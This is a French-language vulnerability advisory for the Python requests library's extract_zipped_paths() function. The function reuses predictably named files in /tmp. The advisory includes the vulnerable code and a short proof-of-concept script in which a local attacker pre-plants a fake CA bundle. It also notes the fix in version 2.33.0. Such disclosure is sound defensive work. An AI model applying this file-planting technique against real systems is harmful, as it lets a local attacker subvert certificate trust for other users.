
Réutilisation non sécurisée de fichiers temporaires dans extract_zipped_paths()
Une vulnérabilité a été identifiée dans la bibliothèque requests (Python) au sein de la fonction utilitaire publique requests.utils.extract_zipped_paths(). La fonction utilise un nom de fichier prévisible et non unique lors de la tentative d'extraction de fichiers dans le répertoire temporaire du système (/tmp) et ne vérifie pas l'intégrité ou la propriété des fichiers préexistants.
Bien que le comportement par défaut de requests combiné à certifi soit atténué par importlib.resources, cet utilitaire reste un piège de sécurité pour les applications en aval ou les implémentations personnalisées qui s'appuient sur lui pour gérer des ressources zippées.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NLa fonction requests.utils.extract_zipped_paths() est conçue pour extraire des membres d'une archive zip (souvent utilisée pour les bundles de CA dans les environnements zipapp). La logique vulnérable suit ces étapes :
basename du membre du zip (par exemple, /tmp/cacert.pem).if not os.path.exists(extracted_path) pour décider s'il faut extraire le fichier.Dans requests/utils.py, la logique est implémentée comme suit :
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
Un attaquant local disposant de faibles privilèges peut exploiter cette vulnérabilité en créant au préalable un fichier malveillant (par exemple, un bundle de CA falsifié) au chemin prévisible dans /tmp. Lorsqu'une victime (interaction utilisateur requise) exécute une application qui invoque cet utilitaire :
Le script suivant démontre la vulnérabilité en montrant comment l'utilitaire réutilise un fichier « factice » préexistant au lieu du fichier légitime de l'archive.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
Le problème est corrigé dans la version 2.33.0. Le correctif consiste à passer à importlib.resources pour gérer les ressources zippées de manière plus sécurisée, en veillant à ce que les extractions se produisent dans des répertoires aléatoires et non prévisibles et en évitant la réutilisation de fichiers existants dans des répertoires partagés accessibles en écriture à tous.